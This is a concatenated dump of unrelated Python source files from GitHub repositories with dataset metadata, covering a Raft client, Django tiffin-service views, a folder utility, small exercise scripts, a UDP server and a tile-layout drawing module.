-1\n\n except grpc.RpcError as e:\n status_code = e.code()\n if status_code == grpc.StatusCode.DEADLINE_EXCEEDED:\n print(f\"Client request for Get key: {key} timed out, details: {status_code} {e.details()}\\n\")\n else:\n print(f'Connection to {self.leader_id} failed. Trying the next server, details: {status_code} {e.details()}')\n self.leader_id = self.get_next_server(self.leader_id)\n return self.redirectToLeaderGet(self.leader_id, key)\n\n def requestPut(self, key, value, clientid):\n sequence_number = self.get_sequence_number()\n # print(f\"Client id {clientid}, seq number: {sequence_number}\")\n with grpc.insecure_channel(self.server_addr) as channel:\n stub = raftdb_grpc.ClientStub(channel)\n request = raftdb.PutRequest(key=key, value=value, clientid = clientid, sequence_number = sequence_number)\n \n try:\n response = stub.Put(request, timeout=config.RPC_TIMEOUT)\n\n self.leader_id = response.leaderId.replace(\"'\", \"\")\n # print(leader_id)\n while response.code == config.RESPONSE_CODE_REDIRECT and (self.leader_id == None or self.leader_id == '' or self.leader_id == 'No leader') :\n print('Waiting for election to happen')\n time.sleep(config.CLIENT_SLEEP_TIME)\n response = stub.Put(request, timeout=config.RPC_TIMEOUT)\n self.leader_id = response.leaderId.replace(\"'\", \"\")\n\n if response.code == config.RESPONSE_CODE_REDIRECT :\n response = self.redirectToLeaderPut(response.leaderId.replace(\"'\", \"\"), key, value, clientid)\n self.increment_sequence_number()\n return response\n elif response.code == config.RESPONSE_CODE_OK:\n # print(f\"Put of key: {key}, value: {value} succeeded!\\n\")\n self.increment_sequence_number()\n return True\n\n elif response.code == config.RESPONSE_CODE_REJECT:\n print(f\"Put of key: {key}, value: {value} failed! Please try again.\\n\")\n self.increment_sequence_number()\n return False\n \n else:\n print(\"Something went wrong, exiting put method with response code: \" + str(response.code) + \"\\n\")\n self.increment_sequence_number()\n return False\n \n except grpc.RpcError as e:\n status_code = e.code()\n if status_code == grpc.StatusCode.DEADLINE_EXCEEDED:\n print(f\"Client request for Put key: {key}, value: {value} timed out, details: {status_code} {e.details()}\\n\")\n else:\n print(f'Connection to {self.leader_id} failed. Trying the next server, details: {status_code} {e.details()}')\n self.leader_id = self.get_next_server(self.leader_id)\n self.increment_sequence_number() \n return self.redirectToLeaderPut(self.leader_id, key, value, clientid)\n \n\n# if __name__ == '__main__':\n # print(\"Staring Interactive Client\")\n # client = ClientPerf()\n # starting_seq_num = int(input(\"Enter Starting Sequence Number\\n\"))\n # client.set_sequence_number(starting_seq_num)\n \n # while True:\n # reqType = int(input(\"Options - Get: 1, Put: 2, Quit: 3\\n\"))\n # if reqType == 1:\n # key = int(input(\"Enter key\\n\"))\n # client.requestGet(key)\n # elif reqType == 2:\n # inputs = list(map(int, input(\"\\nEnter key, value, clientid [ex: 1 2 3]\\n\").strip().split()))[:3]\n # client.requestPut(*inputs)\n # elif reqType == 3:\n # print(\"SEEEE YAAA\\n\")\n # break\n # else:\n # print(\"Invalid input\\n\")\n ","repo_name":"hafeezali/RaftReplicatedStore","sub_path":"src/client_perf.py","file_name":"client_perf.py","file_ext":"py","file_size_in_byte":6979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19774497347","text":"import datetime\n\n\nclass General_Variable(object):\n\n def __init__(self, day, domain, constraints, value=None):\n self.day = datetime.datetime.strptime(day, '%Y-%m-%d').date() # converts string to date object day\n self.domain = self.initialize_domain(domain)\n self.constraints = self.init_constraints_in_variables(constraints)\n self.value = value\n self.prior_value = None\n\n def initialize_domain(self, domain):\n \"\"\"\n initializes the domain of the variable according to unary hard constraints\n :param domain: set of all anesthetists of the hospital\n :return: set of anesthetists available for surgery on surgery date and ranked Senior\n \"\"\"\n\n new_domain = domain.copy()\n if len(new_domain) > 0:\n for a in domain:\n # anesthetist must be available to surgery on day\n if self.day not in a.surgical_days:\n new_domain.discard(a)\n continue\n # Floor manager rank must be Senior\n if a.rank != 'Senior':\n new_domain.discard(a)\n continue\n return new_domain\n\n def get_init_d_key(self):\n d_key = [str(self.day)]\n return d_key\n\n def get_constraint_d_key(self, id=None):\n if id is None:\n return str(self.day)\n else:\n return str(self.day) + '_' + str(id)\n\n\n def init_constraints_in_variables(self, c_dict):\n \"\"\"\n adds the required keys to each dictionary constraint and initializes the price value to 0. via the keys the price of\n the concerning variable will be updated the keys refer to the index of the variable.\n :param dro: key referring to date room order\n :param dr: key referring to date room\n :param d: key referring to date\n :param c_dict: dictionary of constraints of a variable type\n \"\"\"\n if 'd' in c_dict:\n d_cons = c_dict['d']\n for cons in d_cons:\n d_key_list = self.get_init_d_key()\n for d_key in d_key_list:\n d_cons[cons].prices[d_key] = 0\n\n return c_dict\n","repo_name":"Barak-Lavi/Final-Project","sub_path":"SSP_MAS_KAMIN-master/General_Variable.py","file_name":"General_Variable.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12979212939","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom account.models import *\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib import messages\nfrom datetime import timedelta\nfrom datetime import datetime\nfrom datetime import date\nfrom django.db.models import Q\n\n\n# Create your views her\n\n@csrf_exempt\ndef home(request):\n companies = ServiceProvider.objects.all()\n if request.method == 'POST':\n search = request.POST.get('search')\n if search is not None:\n companies = ServiceProvider.objects.filter(Q(city__contains=search) | Q(state__contains=search))\n \n context = {'companies':companies}\n return render(request,'customer/home.html',context)\n\n\n\ndef detail(request,id_test):\n login=False\n user1= get_object_or_404(User,pk=id_test)\n tsp = get_object_or_404(ServiceProvider,user=user1)\n customer=get_object_or_404(Customer,user=request.user)\n under=customer.serviceprovider_set.all()\n for admin in under:\n if admin==tsp:\n login=True\n return render(request,'customer/details.html',{'tsp':tsp,'login':login})\n\n\n\n\ndef add_sp(request, pk_test):\n user1= get_object_or_404(User,pk=pk_test)\n tsp = get_object_or_404(ServiceProvider,user=user1)\n customer=get_object_or_404(Customer,user=request.user)\n tsp.customer.add(customer)\n return redirect('home')\n\ndef account(request):\n customer=get_object_or_404(Customer,user=request.user)\n tsp=customer.serviceprovider_set.all()\n return render(request,'customer/account.html',{'tsp':tsp})\n\n@csrf_exempt\ndef update_menu(request,id_order):\n order = get_object_or_404(Order,id=id_order)\n use = get_object_or_404(User,id=order.sp.user.id)\n tsp = get_object_or_404(ServiceProvider,user=use)\n menu = Menu.objects.filter(sp=tsp)\n context = {'menu':menu,'order':order}\n try:\n order_menu = CustomerMenuItem.objects.filter(order=order)\n check = True\n except:\n check = False\n if check:\n amount = 0.0\n for i in order_menu:\n amount+=float(i.price)\n context['ordered_menu']=order_menu\n context['total']=amount\n order.total_amount = amount\n order.save()\n return render(request,'customer/visite.html',context)\n\ndef add_item(request,item_id,order_id):\n order = get_object_or_404(Order,id=order_id)\n if request.method == 'POST':\n item = Menu.objects.get(id=item_id)\n price = float(request.POST.get('Quantity'))*float(item.price)\n quantity = request.POST.get('Quantity')\n add_menu = CustomerMenuItem(\n order = order, item_name=item.item_name, price=price, quantity=quantity\n )\n add_menu.save()\n return redirect(update_menu,id_order=order_id)\n\ndef remove(request,id1):\n user1= get_object_or_404(User,pk=id1)\n tsp = get_object_or_404(ServiceProvider,user=user1)\n cust=get_object_or_404(Customer,user=request.user)\n tsp.customer.remove(cust)\n return redirect('your_account')\n\n\ndef delete(request,reset_id,pl):\n order = get_object_or_404(Order,pk=pl)\n item = get_object_or_404(CustomerMenuItem,id=reset_id)\n item.delete()\n return redirect(update_menu,id_order=order.pk)\n\n\ndef order(request):\n user = get_object_or_404(User,id=request.user.id)\n customer = get_object_or_404(Customer,user=user)\n context = dict()\n try:\n order = Order.objects.filter(customer=customer)\n context = {'orderlist':order}\n check = True\n except:\n check = False\n context['check']=check\n return render(request,'customer/order.html',context)\n\n\n\ndef cancel(request,order_id):\n order = get_object_or_404(Order,id=order_id)\n order.delete()\n return redirect('user_order')\n\ndef order_address(request,or_id):\n order = get_object_or_404(Order,id=or_id)\n context = {'order':or_id}\n try:\n address = Address.objects.filter(placeanorder=order).order_by('-id')\n context['address']=address\n except:\n print('no data present still')\n if request.method == 'POST':\n state = request.POST.get('state')\n city = request.POST.get('city')\n pinno = request.POST.get('pinno')\n area = request.POST.get('area')\n landmark = request.POST.get('landmark')\n Building = request.POST.get('Building')\n houseno = request.POST.get('houseno')\n add = Address(\n placeanorder=order,\n state= state,city=city,pin_no=pinno,Area_name=area,land_mark=landmark,\n building_name=Building,flate_number=houseno\n )\n add.save()\n return redirect('address',or_id=or_id)\n\n return render(request,'customer/update_add.html',context)\n\ndef select(request,sp_id):\n sp = get_object_or_404(ServiceProvider,user=sp_id)\n cust = get_object_or_404(Customer,user=request.user)\n context = {'company':sp}\n try:\n orders = Order.objects.filter(sp=sp,customer=cust).order_by('-id')\n create_order = orders[0]\n check = True\n except :\n check = False\n if check:\n context['order']=create_order\n today = date.today()\n lastdate = create_order.last_date.date()\n if today > lastdate:\n check = False\n context['check']=check\n \n return render(request,'customer/select.html',context)\n\ndef duration(request,data,company_id):\n if data == '7':\n dur = 'For one week'\n elif data == '31':\n dur = 'For one month'\n elif data == '183':\n dur = 'For six month'\n else :\n dur = 'For one year'\n cust = get_object_or_404(Customer,user=request.user)\n sp = get_object_or_404(User,id=company_id)\n company = get_object_or_404(ServiceProvider,user=sp)\n order = Order(\n sp = company, customer = cust, duration= dur, no_of_orders=data,\n )\n order.save()\n lastdate = order.date_of_order + timedelta(days=int(order.no_of_orders))\n order.last_date = lastdate\n order.save()\n return redirect(select,sp_id=sp.id)\n \ndef tiffin(request,pk_order):\n order = get_object_or_404(Order,id=pk_order)\n address = Address.objects.filter(placeanorder=order).order_by('-date_create')\n menu = CustomerMenuItem.objects.filter(order=order)\n context = {'order':order,'address':address[0],'menu':menu}\n return render(request,'customer/tiffin.html',context)\n","repo_name":"Riyashetye4101/tiffin-service","sub_path":"customer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9740011870","text":"print(\"List all the email addresses below. Input Q to stop and get output.\")\r\nl = []\r\nwhile(True):\r\n i = input()\r\n if(i == \"Q\" or i==\"q\"):\r\n break #Quit\r\n else:\r\n s = i.strip()\r\n un = str(s[:s.index('@')])#username\r\n dm = str(s[s.index(\"@\")+1:])#domain\r\n l.append(\"Username: \"+un+\" Domain: \"+dm)\r\nfor k in range(len(l)):\r\n print(l[k]) #output\r\n","repo_name":"ShayanZarif/FunProjectsInPython","sub_path":"EmailSlicer.py","file_name":"EmailSlicer.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72889366490","text":"#example of function \ndef heat(item,time):\n n = time\n while (time>0):\n time = time -1\n print (time, end = ',')\n print()\n print(item, \"is ready in \", n, \"seconds\")\n\ndish = str(input(\"enter the item whether veg or tea: \"))\nif dish == \"veg\":\n heat (\"veg\",200)\nelif dish == \"tea\":\n heat (\"tea\",40)\n","repo_name":"Bama-S/python_course_material","sub_path":"1/codes/fn_oven.py","file_name":"fn_oven.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"12563777407","text":"import configparser\nimport psycopg2\nfrom sql_queries import create_table_queries, drop_table_queries\n\n\ndef drop_tables(cur, conn):\n '''\n Args : cur to fetch from connection\n conn to connect the target DB\n iteratively drop the tables from imported list\n\n '''\n for query in drop_table_queries:\n cur.execute(query)\n conn.commit()\n\n\ndef create_tables(cur, conn):\n\n '''\n Args : cur to fetch from connection\n conn to connect the target DB\n iteratively drop the tables from imported list\n\n '''\n for query in create_table_queries:\n cur.execute(query)\n conn.commit()\n\n\ndef main():\n '''\n Args : cur to fetch from connection\n conn to connect the target DB\n iteratively drop the tables from imported list\n\n '''\n config = configparser.ConfigParser()\n config.read('dwh.cfg')\n\n conn = psycopg2.connect(\"host={} dbname={} user={} password={} port={}\".format(*config['CLUSTER'].values()))\n cur = conn.cursor()\n\n drop_tables(cur, conn)\n create_tables(cur, conn)\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sp3006/DataEngineering","sub_path":"project3_create_tables.py","file_name":"project3_create_tables.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27179889894","text":"class MyComputer:\n \n def __init__(self, cpu, ram):\n self.cpu=cpu\n self.ram=ram\n def config_show(self):\n print(\"Config of my system is \", self.cpu, self.ram )\nobj1=MyComputer(32,16)\nobj2=MyComputer(64,32)\n\nobj1.config_show()\nobj2.config_show()\n","repo_name":"nidheesh0301/PythonLearning","sub_path":"oop_1.py","file_name":"oop_1.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"45845388242","text":"class Person:\r\n name = str\r\n age = int\r\n sex = str\r\n\r\n\r\n\r\n def __init__(self, name, age, sex):\r\n self.name = name\r\n self.age = age\r\n self.sex = sex\r\n\r\n @staticmethod\r\n def is_adult(age):\r\n if age >= 18:\r\n return True\r\n else: age < 18\r\n return False\r\n @classmethod\r\n def is_sort_by_sex(cls, sex):\r\n if sex == \"man\":\r\n return \"Вы мужчина\"\r\n else: sex == \"Woman\"\r\n return \" вам не повезло\"\r\nperson1 = Person(\"Ivan\", 25, \"man\")\r\nprint(person1.__dict__)\r\nprint(person1.is_sort_by_sex(\"man\"))\r\nperson2 = Person(\"Katya\", 12, \"Woman\")\r\nprint(person2.__dict__)\r\nprint(person2.is_adult(12))\r\n\r\n\r\n","repo_name":"vanynaumovets/Home-Work-Z31","sub_path":"Les9_Naumovets_Z31 onl.py","file_name":"Les9_Naumovets_Z31 onl.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"71738981530","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n\n\n@Date : Fri Nov 14 13:20:38 2014 \\n\n@Author : Erwan Ledoux \\n\\n\n\n\n\nThe Folderer is a quick object helping for getting the FolderedDirKeyStrsList\nat a specified directory or in the current one by default\n\n\"\"\"\n\n#\nimport ShareYourSystem as SYS\nBaseModuleStr=\"ShareYourSystem.Standards.Itemizers.Structurer\"\nDecorationModuleStr=\"ShareYourSystem.Standards.Classors.Classer\"\nSYS.setSubModule(globals())\n#\n\n#\nimport collections\nimport json\nimport os\nimport sys\n#\n\n#\nclass ModuleDict(dict):\n\t\n\tdef __init__(self,_DictVariable=None,_ModuleVariable=None,**_KwargVariablesDict):\n\n\t\t#Call the parent init method\n\t\tif _DictVariable!=None:\n\t\t\tdict.__init__(self,_DictVariable,**_KwargVariablesDict)\n\t\telse:\n\t\t\tdict.__init__(self,**_KwargVariablesDict)\n\n\t\t#Debug\n\t\t'''\n\t\tprint('PackageDict l 39')\n\t\tprint('_ModuleVariable is ')\n\t\tprint(_ModuleVariable)\n\t\tprint('')\n\t\t'''\n\n\t\t#import\n\t\tself._import(_ModuleVariable)\n\n\tdef _import(self,_ModuleVariable):\n\n\t\t#Check\n\t\tif type(_ModuleVariable) in SYS.StrTypesList:\n\t\t\tself['ModuleVariable']=None\n\t\t\tself['ModuleStr']=_ModuleVariable\n\t\telse:\n\t\t\tself['ModuleVariable']=_ModuleVariable\n\t\t\tself['ModuleStr']=_ModuleVariable.__name__\n\n\t\t#Check for a module\n\t\tif self['ModuleVariable']==None or self['ModuleStr']!=self['ModuleVariable'].__name__:\n\n\t\t\t#Check\n\t\t\tif self['ModuleStr']!=\"\":\n\n\t\t\t\t#Import the module if not already\n\t\t\t\tif self['ModuleStr'] not in sys.modules:\n\t\t\t\t\timportlib.import_module(self['ModuleStr'])\n\n\t\t\t\t#set with sys\n\t\t\t\tself['ModuleVariable']=sys.modules[\n\t\t\t\t\tself['ModuleStr']\n\t\t\t\t]\n\n\t\t#set\n\t\tif self['ModuleVariable']!=None:\n\n\t\t\t#set\n\t\t\tself['InstallFolderPathStr']='/'.join(\n\t\t\t\tself['ModuleVariable'].__file__.split('/')[:-1]\n\t\t\t)+'/'\n\n\t\t\t#set\n\t\t\tself['LocalFolderPathStr']=SYS.PythonlogyLocalFolderPathStr+self['ModuleVariable'].__name__.replace(\n\t\t\t\t'.','/')+'/'\n\t\t\t\n\n#\n\n#\n@DecorationClass()\nclass FoldererClass(BaseClass):\n\t\"\"\"\n\t\tFoldererClass ...\n\n\t\"\"\"\n\n\tdef default_init(self,\n\t\t\t\t\t\t_FolderingPathVariable=None,\n\t\t\t\t\t\t_FolderingMkdirBool=False,\n\t\t\t\t\t\t_FolderingImportBool=True,\n\t\t\t\t\t\t_FolderedPathStr=\"\",\n\t\t\t\t\t\t_FolderedModuleDict=None,\n\t\t\t\t\t\t_FolderedDirKeyStrsList=None,\t\n\t\t\t\t\t\t_FolderedModuleStr=\"\",\n\t\t\t\t\t\t_FolderedParentModuleStr=\"\",\n\t\t\t\t\t\t_FolderedNameStr=\"\",\n\t\t\t\t\t\t**_KwargVariablesDict\n\t\t\t\t\t):\n\n\t\t#Call the parent __init__ method\n\t\tBaseClass.__init__(self,**_KwargVariablesDict)\n\t\n\tdef do_folder(self,**_KwargVariablesDict):\n\n\t\t#/################/#\n\t\t# Adapt the current path str\n\t\t#\n\n\t\t#debug\n\t\t'''\n\t\tself.debug(\n\t\t\t[\n\t\t\t\t'We folder here',\n\t\t\t\t('self.',self,[\n\t\t\t\t\t\t'FolderingPathVariable'\n\t\t\t\t\t])\n\t\t\t]\n\t\t)\n\t\t'''\n\n\t\t#set\n\t\tif self.FolderingPathVariable==None:\n\n\t\t\t#/################/#\n\t\t\t# Get the current\n\t\t\t#\n\n\t\t\t#Get the current\n\t\t\tFolderedCurrentPathStr=os.getcwd()\n\n\t\t\t#add\n\t\t\tself.FolderedPathStr=FolderedCurrentPathStr+'/'\n\n\t\telif type(self.FolderingPathVariable)==str:\n\n\t\t\t#/################/#\n\t\t\t# This is a path str query\n\t\t\t#\n\n\t\t\t#set\n\t\t\tself.FolderedPathStr=self.FolderingPathVariable\n\n\t\telse:\n\n\t\t\t#/################/#\n\t\t\t# Get info on the already imported module\n\t\t\t#\n\n\t\t\t#module\n\t\t\tself.FolderedModuleDict=ModuleDict(\n\t\t\t\t\t\t_ModuleVariable=self.FolderingPathVariable\n\t\t\t\t\t)\n\n\t\t\t#set\n\t\t\tself.FolderedPathStr=self.FolderedModuleDict['LocalFolderPathStr']\n\n\n\t\t#/################/#\n\t\t# Now do things with that\n\t\t#\n\n\t\t#debug\n\t\t'''\n\t\tself.debug(\n\t\t\t[\n\t\t\t\t('self.',self,[\n\t\t\t\t\t\t'FolderedPathStr'\n\t\t\t\t\t])\n\t\t\t]\n\t\t)\n\t\t'''\n\t\t\t\n\t\t#Check\n\t\tif self.FolderedPathStr!=\"\":\n\n\t\t\t#Add the '/' if not in the end\n\t\t\tif self.FolderedPathStr[-1]!=\"/\":\n\t\t\t\tself.FolderedPathStr+=\"/\"\n\n\t\t\t#/################/#\n\t\t\t# Maybe build the dir\n\t\t\t#\n\n\t\t\t#Build intermediar pathes\n\t\t\tif os.path.isdir(self.FolderedPathStr)==False:\n\n\t\t\t\t#Check\n\t\t\t\tif self.FolderingMkdirBool:\n\n\t\t\t\t\t#debug\n\t\t\t\t\t'''\n\t\t\t\t\tprint('We are going to build the intermediar folder')\n\t\t\t\t\tprint('self.FolderingPathVariable is ',self.FolderingPathVariable)\n\t\t\t\t\tprint('')\n\t\t\t\t\t'''\n\n\t\t\t\t\t#Definition\n\t\t\t\t\tFolderedPathStrsList=self.FolderedPathStr.split('/')\n\t\t\t\t\tFolderedRootPathStr=FolderedPathStrsList[0]\n\t\t\t\t\tfor _PathStr in FolderedPathStrsList[1:]:\n\n\t\t\t\t\t\t#debug\n\t\t\t\t\t\t'''\n\t\t\t\t\t\tprint('FolderedRootPathStr is ',FolderedRootPathStr)\n\t\t\t\t\t\tprint('')\n\t\t\t\t\t\t'''\n\n\t\t\t\t\t\t#Mkdir if it doesn't exist\n\t\t\t\t\t\tif FolderedRootPathStr!=\"\" and os.path.isdir(FolderedRootPathStr)==False:\n\t\t\t\t\t\t\tos.popen('mkdir '+FolderedRootPathStr)\n\n\t\t\t\t\t\t#Add the following\n\t\t\t\t\t\tFolderedRootPathStr+='/'+_PathStr\n\n\t\t\t\t\t#Mkdir if it doesn't exist\n\t\t\t\t\tif os.path.isdir(FolderedRootPathStr)==False:\n\t\t\t\t\t\tos.popen('mkdir '+FolderedRootPathStr)\n\n\t\t#/################/#\n\t\t# Find the Module str maybe that is associated\n\t\t#\n\n\t\t#Recheck\n\t\tif os.path.isdir(self.FolderedPathStr):\n\n\t\t\t#set\n\t\t\tself.FolderedDirKeyStrsList=os.listdir(\n\t\t\t\tself.FolderedPathStr\n\t\t\t)\n\n\t\t\t#Check\n\t\t\tif '__init__.py' in self.FolderedDirKeyStrsList:\n\n\t\t\t\t#set maybe FolderedModuleStr and FolderedParentModuleStr if we are located in the SYS path\n\t\t\t\tif 'ShareYourSystem' in self.FolderedPathStr:\n\n\t\t\t\t\t#Check\n\t\t\t\t\tif self.FolderedModuleDict==None:\n\n\t\t\t\t\t\t#module\n\t\t\t\t\t\tself.FolderedModuleDict=ModuleDict(\n\t\t\t\t\t\t\t\t\t_ModuleVariable=self.FolderingPathVariable\n\t\t\t\t\t\t\t\t)\n\n\t\t\t\t\t#set\n\t\t\t\t\tself.FolderedModuleStr='ShareYourSystem'+self.FolderedPathStr.split(\n\t\t\t\t\t\t'ShareYourSystem')[-1].replace('/','.')\n\n\t\t\t\t\t#Remove the ossibly last dot\n\t\t\t\t\tif self.FolderedModuleStr[-1]=='.':\n\t\t\t\t\t\tself.FolderedModuleStr=self.FolderedModuleStr[:-1]\n\n\t\t\t\t\t#set\n\t\t\t\t\tif '.' in self.FolderedModuleStr:\n\n\t\t\t\t\t\t#set\n\t\t\t\t\t\tself.FolderedNameStr=self.FolderedModuleStr.split('.')[-1]\n\n\t\t\t\t\t\t#debug\n\t\t\t\t\t\t'''\n\t\t\t\t\t\tself.debug(('self.',self,['FolderingPathVariable','FolderedNameStr']))\n\t\t\t\t\t\t'''\n\t\t\t\t\t\t\n\t\t\t\t\t\t#set the parent\n\t\t\t\t\t\tself.FolderedParentModuleStr=self.FolderedNameStr.join(\n\t\t\t\t\t\t\tself.FolderedModuleStr.split(self.FolderedNameStr)[:-1]\n\t\t\t\t\t\t)\n\t\t\t\t\t\tif len(self.FolderedParentModuleStr\n\t\t\t\t\t\t\t)>0 and self.FolderedParentModuleStr[-1]=='.':\n\t\t\t\t\t\t\tself.FolderedParentModuleStr=self.FolderedParentModuleStr[:-1]\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.FolderedModuleStr=self.FolderedModuleStr\n\n\t\t\telse:\n\n\t\t\t\t#set\n\t\t\t\tself.FolderedModuleStr=\"\"\n\t\t\t\tself.FolderedParentModuleStr=\"\"\n\n\n\n\n\n\n\n#\n\n#\nFoldererClass.PrintingClassSkipKeyStrsList.extend(\n\t[\n\t\t'FolderingPathVariable',\n\t\t'FolderingMkdirBool',\n\t\t'FolderingImportBool',\n\t\t'FolderedPathStr',\n\t\t'FolderedDirKeyStrsList',\t\n\t\t'FolderedModuleDict',\n\t\t'FolderedModuleStr',\n\t\t'FolderedParentModuleStr',\n\t\t'FolderedNameStr',\n\t\t#'FolderedModuleDict'\n\t]\n)\n#","repo_name":"Ledoux/ShareYourSystem","sub_path":"Pythonlogy/ShareYourSystem/Standards/Interfacers/Folderer/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12669400262","text":"import socket\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nhost = 'localhost'\nport = 5432\n\ns.bind((host, port))\nmessage = ' Hello client'\nwhile 1:\n dados, end = s.recvfrom(4096)\n\n if dados:\n s.sendto(dados + (message.encode()), end)\n","repo_name":"ricardosergio81/python.hub","sub_path":"exercise_22/UDPServer.py","file_name":"UDPServer.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2132678422","text":"from fastapi import FastAPI\nfrom date_timee import DateTimee\n\napp = FastAPI()\ndate_timee = DateTimee();\n\n@app.get(\"/healthcheck\")\nasync def root():\n return {\"status\": \"Up and Adm Config.\"}\n\n@app.get(\"/datetime/dominican-republic\")\nasync def get_date_time():\n return { \"result\": date_timee.dateTimeDO() }","repo_name":"thaisc98/intec-dates-info","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33108109031","text":"from math import tanh, sqrt, ceil\nimport sys\nimport uuid\nimport os\n\n# from django.conf import settings\nfrom PIL import Image, ImageDraw\n\nfrom .core import (\n add_text_watermark, Size, Position, Canvas, Draw,\n WallTilesOptions, PositionalObject, Wall, Floor,\n color, color_cutted,\n LAYING_METHOD_DIRECT, LAYING_METHOD_DIRECT_CENTER, LAYING_METHOD_DIAGONAL,\n DRAWING_WATERMARK_TEXT\n)\n\n\ndef check_with_delimiters(l, tl, d, c):\n \"\"\" Уточняет необходимое количество плитки\n после добавления межплиточных разделителей.\n Если после добавления межплиточных рсстояний\n суммарная длина больше покрываемой на целую плитку\n + 1 разделитель, то эта плитка не нужна.\n\n :param l: длина покрываемая плитками (mm).\n :param tl: размер плитки (mm).\n :param d: межплиточное расстояние (mm).\n :param c: количество необходимой плитки без разделителей.\n :return: Уточненное количество необходимой плитки для длины (l).\n \"\"\"\n count = c\n if ((c * tl) + (d * c-1)) - l >= (tl + d):\n count -= 1\n\n return count\n\n\ndef add_background(color):\n def decorator(func):\n def wrapper(*args):\n image = func(*args)\n bg = Image.new('RGBA', (image.width, image.height), color)\n bg.paste(image, mask=image)\n\n return bg\n return wrapper\n\n return decorator\n\n\ndef draw_floor1(width, length, d, tw, th, method=LAYING_METHOD_DIRECT):\n \"\"\"X=length, Y=width\"\"\"\n draw = Draw()\n\n WIDTH_HD = 1280\n HEIGHT_HD = 720\n\n contour_length = length/100.0 * 1.0 # 3% размеры контуров\n\n # найдем ожидаемые размеры (в мм) которые может занять схема\n max_size = Size(\n width=length + (contour_length * 2),\n height=width + (contour_length * 2)\n )\n\n print(max_size)\n\n canvas = Canvas(\n WIDTH_HD, HEIGHT_HD,\n max_size=max_size\n )\n\n draw_offset = Position(canvas.to_pixels(contour_length), canvas.to_pixels(contour_length))\n\n options = {\n 'contour_out': {\n 'length': canvas.to_pixels(contour_length)\n }\n }\n\n floor = Floor(\n width, length,\n WallTilesOptions(tw, th, d),\n options=options\n )\n draw.draw(\n canvas,\n [PositionalObject(floor, draw_offset, {'method': method})]\n )\n\n lpx, wpx = (\n canvas.to_pixels(length) + canvas.to_pixels(contour_length * 2),\n canvas.to_pixels(width) + canvas.to_pixels(contour_length * 2)\n )\n canvas.im = canvas.im.crop((0, 0, lpx, wpx))\n\n sf = lpx / wpx\n if sf <= 16/9: # 1.777...\n # scale by height\n canvas.im.resize((int(HEIGHT_HD * sf), HEIGHT_HD))\n else:\n # scale by width\n canvas.im.resize((WIDTH_HD, int(WIDTH_HD * sf)))\n\n im_w, im_h = canvas.im.size\n canvas1 = Canvas(\n WIDTH_HD, HEIGHT_HD,\n scale_factor=1.0\n )\n canvas1.im.paste(\n canvas.im,\n ((WIDTH_HD - im_w) // 2, (HEIGHT_HD - im_h) // 2)\n )\n\n draw.draw_wm(canvas1)\n\n return canvas1\n\n\n# @add_background(color=(255, 255, 255, 255))\n@add_text_watermark(DRAWING_WATERMARK_TEXT)\ndef draw_floor(width, length, tile_width, tile_length, method=LAYING_METHOD_DIRECT):\n \"\"\"X=length, Y=width\n :param width: width of floor (mm)\n :param length: length of floor (mm)\n :param method: mothod of tile laying.\n :return: PIL.Image\n \"\"\"\n scale_factor = 9 # TODO: need compute this\n\n size = (sys.maxsize, sys.maxsize)\n while any(s > 1000 for s in size):\n scale_factor += 1\n size = (int(length/scale_factor), int(width/scale_factor)) # scale 10sm=100mm : 1px.\n\n tile_size = (int(tile_length/scale_factor), int(tile_width/scale_factor))\n\n center_x = size[0] / 2\n center_y = size[1] / 2\n\n image = Image.new('RGBA', size, \"#b9cbda\")\n draw = ImageDraw.Draw(image)\n\n line_color = color\n line_width = 1\n\n if method == LAYING_METHOD_DIRECT:\n # рисуем плитки по length\n curr_x = 0\n while curr_x < size[0]:\n draw.line((curr_x, 0, curr_x, size[1]-1), fill=line_color, width=line_width)\n curr_x += tile_size[0]\n # рисуем плитки по width\n curr_y = 0\n while curr_y < size[1]:\n draw.line((0, curr_y, size[0]-1, curr_y), fill=line_color, width=line_width)\n curr_y += tile_size[1]\n elif method == LAYING_METHOD_DIRECT_CENTER: # TODO: simplify - start from outside.\n # рисуем полосы по length (x)\n curr_x = size[0]/2 + tile_size[0]/2\n draw.line((curr_x, 0, curr_x, size[1]-1), fill=line_color, width=line_width)\n while curr_x >= 0:\n curr_x -= tile_size[0]\n draw.line((curr_x, 0, curr_x, size[1] - 1), fill=line_color, width=line_width)\n\n curr_x = size[0]/2 + tile_size[0]/2\n draw.line((curr_x, 0, curr_x, size[1] - 1), fill=line_color, width=line_width)\n while curr_x <= size[0]:\n curr_x += tile_size[0]\n draw.line((curr_x, 0, curr_x, size[1] - 1), fill=line_color, 